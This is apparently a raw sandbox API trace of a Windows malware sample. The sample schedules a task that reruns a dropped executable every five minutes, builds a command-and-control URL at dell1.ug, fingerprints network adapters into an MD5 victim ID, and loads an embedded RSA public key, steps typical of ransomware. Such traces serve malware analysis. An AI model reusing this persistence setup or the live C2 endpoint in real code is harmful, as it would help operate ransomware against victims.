hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.125] IUnknown:Release (This=0x5700a10) returned 0x1 [0050.125] ITaskDefinition:get_Principal (in: This=0x5700950, ppPrincipal=0x18dc9c | out: ppPrincipal=0x18dc9c*=0x5700ba0) returned 0x0 [0050.125] IPrincipal:put_LogonType (This=0x5700ba0, LogonType=3) returned 0x0 [0050.125] IUnknown:Release (This=0x5700ba0) returned 0x1 [0050.125] ITaskDefinition:get_Settings (in: This=0x5700950, ppSettings=0x18dca4 | out: ppSettings=0x18dca4*=0x5700ac0) returned 0x0 [0050.126] ITaskSettings:put_StartWhenAvailable (This=0x5700ac0, StartWhenAvailable=1) returned 0x0 [0050.126] IUnknown:Release (This=0x5700ac0) returned 0x1 [0050.126] ITaskSettings:get_IdleSettings (in: This=0x5700ac0, ppIdleSettings=0x18dc88 | out: ppIdleSettings=0x18dc88*=0x5700b30) returned 0x0 [0050.126] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.126] IIdleSettings:put_WaitTimeout (This=0x5700b30, WaitTimeout="PT5M") returned 0x0 [0050.126] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.126] IUnknown:Release (This=0x5700b30) returned 0x1 [0050.126] ITaskDefinition:get_Triggers (in: This=0x5700950, ppTriggers=0x18dc84 | out: ppTriggers=0x18dc84*=0x5700a80) returned 0x0 [0050.126] ITriggerCollection:Create (in: This=0x5700a80, Type=1, ppTrigger=0x18dc90 | out: ppTrigger=0x18dc90*=0x5700c00) returned 0x0 [0050.126] IUnknown:Release (This=0x5700a80) returned 0x1 [0050.126] IUnknown:QueryInterface (in: This=0x5700c00, riid=0x4d50cc*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18dcac | out: ppvObject=0x18dcac*=0x5700c00) returned 0x0 [0050.126] IUnknown:Release (This=0x5700c00) returned 0x2 [0050.126] ITrigger:get_Repetition (in: This=0x5700c00, ppRepeat=0x18dc98 | out: ppRepeat=0x18dc98*=0x5700c50) returned 0x0 [0050.126] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.126] IRepetitionPattern:put_Interval (This=0x5700c50, Interval="PT5M") returned 0x0 [0050.126] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.126] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.126] IRepetitionPattern:put_Duration (This=0x5700c50, Duration="") returned 0x0 [0050.127] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.127] ITrigger:put_Repetition (This=0x5700c00, Repetition=0x5700c50) returned 0x0 [0050.127] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.127] ITrigger:put_Id (This=0x5700c00, Id="Trigger1") returned 0x0 [0050.127] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.127] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.127] ITrigger:put_EndBoundary (This=0x5700c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0050.127] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d76c | out: lpSystemTimeAsFileTime=0x18d76c*(dwLowDateTime=0x8c560b20, dwHighDateTime=0x1d56c59)) [0050.127] GetLastError () returned 0x0 [0050.127] GetTimeZoneInformation (in: lpTimeZoneInformation=0x511078 | out: lpTimeZoneInformation=0x511078) returned 0x1 [0050.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x50ae80, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18d6d4 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18d6d4) returned 26 [0050.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x50aec0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18d6d4 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18d6d4) returned 26 [0050.128] GetLastError () returned 0x0 [0050.128] ITrigger:put_StartBoundary (This=0x5700c00, StartBoundary="2019-09-16T16:40:33") returned 0x0 [0050.128] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.128] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6037098 | out: hHeap=0x3500000) returned 1 [0050.128] IUnknown:Release (This=0x5700c00) returned 0x1 [0050.129] ITaskDefinition:get_Actions (in: This=0x5700950, ppActions=0x18dca0 | out: ppActions=0x18dca0*=0x57009c8) returned 0x0 [0050.129] IActionCollection:Create (in: This=0x57009c8, Type=0, ppAction=0x18dc8c | out: ppAction=0x18dc8c*=0x5700c98) returned 0x0 [0050.129] IUnknown:Release (This=0x57009c8) returned 0x1 [0050.129] IUnknown:QueryInterface (in: This=0x5700c98, riid=0x4d50fc*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18dca8 | out: ppvObject=0x18dca8*=0x5700c98) returned 0x0 [0050.129] IUnknown:Release (This=0x5700c98) returned 0x2 [0050.129] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.129] IExecAction:put_Path (This=0x5700c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned 0x0 [0050.129] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.129] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.129] IExecAction:put_Arguments (This=0x5700c98, Arguments="--Task") returned 0x0 [0050.129] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.129] IUnknown:Release (This=0x5700c98) returned 0x1 [0050.129] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.129] ITaskFolder:RegisterTaskDefinition (in: This=0x5700920, Path="Time Trigger Task", pDefinition=0x5700950, flags=6, UserId=0x18d748*(varType=0x0, wReserved1=0x603, wReserved2=0xdc5c, wReserved3=0x18, varVal1=0x4209ab, varVal2=0x3500000), password=0x18d758*(varType=0x0, wReserved1=0x0, wReserved2=0xd0, wReserved3=0x0, varVal1=0x67, varVal2=0x7), LogonType=3, sddl=0x18d76c*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xd8), ppTask=0x18dc74 | out: ppTask=0x18dc74*=0x5700d18) returned 0x0 [0050.177] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027db8 | out: hHeap=0x3500000) returned 1 [0050.177] TaskScheduler:IUnknown:Release (This=0x5700920) returned 0x0 [0050.177] TaskScheduler:IUnknown:Release (This=0x5700950) returned 0x0 [0050.177] IUnknown:Release (This=0x5700d18) returned 0x0 [0050.177] CoUninitialize () [0050.178] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x5feea60 | out: hHeap=0x3500000) returned 1 [0050.178] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x5fee7d8 | out: hHeap=0x3500000) returned 1 [0050.178] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x5fee628 | out: hHeap=0x3500000) returned 1 [0050.178] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3564450 [0050.179] OpenServiceW (hSCManager=0x3564450, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60249d8 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60363c8 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6035d28 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6036868 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6036ad0 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6036d38 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6036fa0 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604a9c0 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604ac28 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604ae90 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604b0f8 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604b360 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604b5c8 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604b830 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604ba98 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604bd00 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604bf68 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xa0) returned 0x359fde8 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x110) returned 0x6035f90 [0050.179] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x359fde8 | out: hHeap=0x3500000) returned 1 [0050.179] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x110) returned 0x352f838 [0050.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x41da20, lpParameter=0x3554f88, dwCreationFlags=0x0, lpThreadId=0x513258 | out: lpThreadId=0x513258*=0xa98) returned 0x5b0 [0050.397] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6035f90 | out: hHeap=0x3500000) returned 1 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x6052850 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604c1d0 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604c438 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604c6a0 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604c908 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604cb70 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604cdd8 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604d040 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604d2a8 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604d510 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604d778 [0050.397] lstrlenA (lpString="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned 59 [0050.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x78) returned 0x3557670 [0050.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604c1d0, cbMultiByte=-1, lpWideCharStr=0x3557670, cchWideChar=60 | out: lpWideCharStr="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned 60 [0050.397] lstrcatW (in: lpString1="", lpString2="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.397] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcab60 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604c438, cbMultiByte=-1, lpWideCharStr=0x5fcab60, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcab80 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604c6a0, cbMultiByte=-1, lpWideCharStr=0x5fcab80, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcab90 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604c908, cbMultiByte=-1, lpWideCharStr=0x5fcab90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcac00 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604cb70, cbMultiByte=-1, lpWideCharStr=0x5fcac00, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcabc0 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604cdd8, cbMultiByte=-1, lpWideCharStr=0x5fcabc0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcabb0 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604d040, cbMultiByte=-1, lpWideCharStr=0x5fcabb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcabd0 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604d2a8, cbMultiByte=-1, lpWideCharStr=0x5fcabd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcabe0 [0050.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604d510, cbMultiByte=-1, lpWideCharStr=0x5fcabe0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.398] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.398] lstrlenA (lpString="") returned 0 [0050.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2) returned 0x5fcabf0 [0050.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x604d778, cbMultiByte=-1, lpWideCharStr=0x5fcabf0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0050.399] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php", lpString2="" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php" [0050.399] lstrlenW (lpString="") returned 0 [0050.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x12) returned 0x3526300 [0050.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x288) returned 0x6037208 [0050.399] GetAdaptersInfo (in: AdapterInfo=0x6037208, SizePointer=0x18dc8c | out: AdapterInfo=0x6037208, SizePointer=0x18dc8c) returned 0x0 [0050.427] GetAdaptersInfo (in: AdapterInfo=0x6037208, SizePointer=0x18dc8c | out: AdapterInfo=0x6037208, SizePointer=0x18dc8c) returned 0x0 [0050.431] GetLastError () returned 0x0 [0050.431] GetLastError () returned 0x0 [0050.432] CryptAcquireContextW (in: phProv=0x18dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18dc5c*=0x355a6d0) returned 1 [0050.432] CryptCreateHash (in: hProv=0x355a6d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18dc64 | out: phHash=0x18dc64) returned 1 [0050.433] CryptHashData (hHash=0x604a7c0, pbData=0x601a568, dwDataLen=0x11, dwFlags=0x0) returned 1 [0050.433] CryptGetHashParam (in: hHash=0x604a7c0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18dc60, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18dc60) returned 1 [0050.433] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x11) returned 0x60068a8 [0050.433] CryptGetHashParam (in: hHash=0x604a7c0, dwParam=0x2, pbData=0x60068a8, pdwDataLen=0x18dc60, dwFlags=0x0 | out: pbData=0x60068a8, pdwDataLen=0x18dc60) returned 1 [0050.433] GetLastError () returned 0x0 [0050.433] CryptDestroyHash (hHash=0x604a7c0) returned 1 [0050.433] CryptReleaseContext (hProv=0x355a6d0, dwFlags=0x0) returned 1 [0050.433] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601a568 | out: hHeap=0x3500000) returned 1 [0050.433] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605eb48 [0050.433] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e640 | out: hHeap=0x3500000) returned 1 [0050.433] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3564478 | out: hHeap=0x3500000) returned 1 [0050.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x41e4e0, lpParameter=0x513270, dwCreationFlags=0x0, lpThreadId=0x51325c | out: lpThreadId=0x51325c*=0xa9c) returned 0x5d0 [0050.645] WaitForSingleObject (hHandle=0x5d0, dwMilliseconds=0xffffffff) returned 0x0 [0051.393] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x630 [0051.393] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x6085d58 [0051.393] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604deb0 [0051.393] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604e118 [0051.393] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604e380 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x604e5e8 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608b900 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608bb68 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608bdd0 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608c038 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608c2a0 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608c508 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x3e0) returned 0x608f8e8 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x5ee) returned 0x608fcd0 [0051.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", cchWideChar=-1, lpMultiByteStr=0x608fcd0, cbMultiByte=1518, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", lpUsedDefaultChar=0x0) returned 495 [0051.394] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x5f0) returned 0x60902c8 [0051.394] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608fcd0 | out: hHeap=0x3500000) returned 1 [0051.394] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.394] CryptAcquireContextW (in: phProv=0x18dccc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18dccc*=0x355aca8) returned 1 [0051.395] CryptCreateHash (in: hProv=0x355aca8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18dcd0 | out: phHash=0x18dcd0) returned 1 [0051.395] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0051.395] CryptHashData (hHash=0x60833c8, pbData=0x60902c8, dwDataLen=0x1ee, dwFlags=0x0) returned 1 [0051.395] CryptGetHashParam (in: hHash=0x60833c8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18dcd4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18dcd4) returned 1 [0051.395] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x11) returned 0x6007c88 [0051.395] CryptGetHashParam (in: hHash=0x60833c8, dwParam=0x2, pbData=0x6007c88, pdwDataLen=0x18dcd4, dwFlags=0x0 | out: pbData=0x6007c88, pdwDataLen=0x18dcd4) returned 1 [0051.395] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x34) returned 0x6083408 [0051.395] GetLastError () returned 0x0 [0051.395] lstrcatA (in: lpString1="", lpString2="0E" | out: lpString1="0E") returned="0E" [0051.395] GetLastError () returned 0x0 [0051.395] lstrcatA (in: lpString1="0E", lpString2="4A" | out: lpString1="0E4A") returned="0E4A" [0051.395] GetLastError () returned 0x0 [0051.395] lstrcatA (in: lpString1="0E4A", lpString2="00" | out: lpString1="0E4A00") returned="0E4A00" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00", lpString2="B4" | out: lpString1="0E4A00B4") returned="0E4A00B4" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4", lpString2="D3" | out: lpString1="0E4A00B4D3") returned="0E4A00B4D3" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3", lpString2="D3" | out: lpString1="0E4A00B4D3D3") returned="0E4A00B4D3D3" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D3", lpString2="6F" | out: lpString1="0E4A00B4D3D36F") returned="0E4A00B4D3D36F" [0051.396] GetLastError () returned 0x0 